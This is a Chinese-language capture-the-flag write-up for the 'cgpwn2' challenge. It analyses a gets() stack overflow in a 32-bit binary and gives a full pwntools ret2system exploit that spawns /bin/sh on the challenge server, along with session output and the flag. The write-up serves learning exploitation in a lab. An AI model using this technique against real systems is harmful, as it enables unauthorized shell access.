pwn-cgpwn2
pwn-cgpwn2
这次呢,练习的是 cgpwn2 ,同样使用checksec检查下,然后用IDA查看下调用地址
可以看到目标是32位的,且使用RELRO和NX
nc一下,发现回显这样两个句话,
C
please tell me your name
hello,you can leave some message here:
然后使用IDA分析下目标程序
这里定义了三个流缓冲区,然后打印字符串 thank you 后退出程序
查看下main函数的伪代码发现hello()函数
接着查看hello函数
查看下hello函数的汇编代码
首先要求输入一个name,这个输入是通过fgets函数完成的,从键盘读取最多32h个字符到name区域然后提示我们输入一些信息,这个输入是通过gets函数完成的,没有输入字符数量的限制,从键盘读取字符到s区域
查看下name所在位置 =》 0x804a080
name是bss段的一个大小为34的区域,s区域的起始位置是运行时距离栈帧0x26个字节的地方,大小不限
接着查看下pwn函数
可以看到这个函数是利用系统调用打印"hehehe",存在一个call system
然后使用gdb下断点,得到system的地址
构造payload
Python
#导入pwn模块
from pwn import *
#连接目标程序
p = remote('124.126.19.106',45522)
#
system_addr = 0x8048420
#通过name得到的地址
bss_addr = 0x804A080
#目标程序返回的字符串,等待输入name
p.recvuntil('please tell me your name\n')
#构造一个命令参数(cat flag也可以的)
payload = '/bin/sh'
#发送我们的命令
p.sendline(payload)
#目标接收到命令,继续返回字符串
p.recvuntil('leave some message here:\n')
#构造溢出参数 name的地址 system地址 name地址
payload = 'a'*(0x26+4) + p32(system_addr) + 'b'*4 +p32(bss_addr)
#发送命令
p.sendline(payload)
#建立及时会话
p.interactive()
手动执行
Python
>>> from pwn import *
>>> p = remote('124.126.19.106',45522)
[x] Opening connection to 124.126.19.106 on port 45522
[x] Opening connection to 124.126.19.106 on port 45522: Trying 124.126.19.106
[+] Opening connection to 124.126.19.106 on port 45522: Done
>>> p.recvuntil('please tell me your name\n')
'please tell me your name\n'
>>> p.sendline('/bin/sh')
>>> p.recvuntil('hello,you can leave some message here:\n')
'hello,you can leave some message here:\n'
>>> payload = 'a'*(0x26+4) + p32(0x8048420) + 'b'*4 + p32(0x804a080)
>>> p.sendline(payload)
>>> p.interactive()
得到flag
cyberpeace{59806e8ae0b821f47e8fe14b0148bcd3}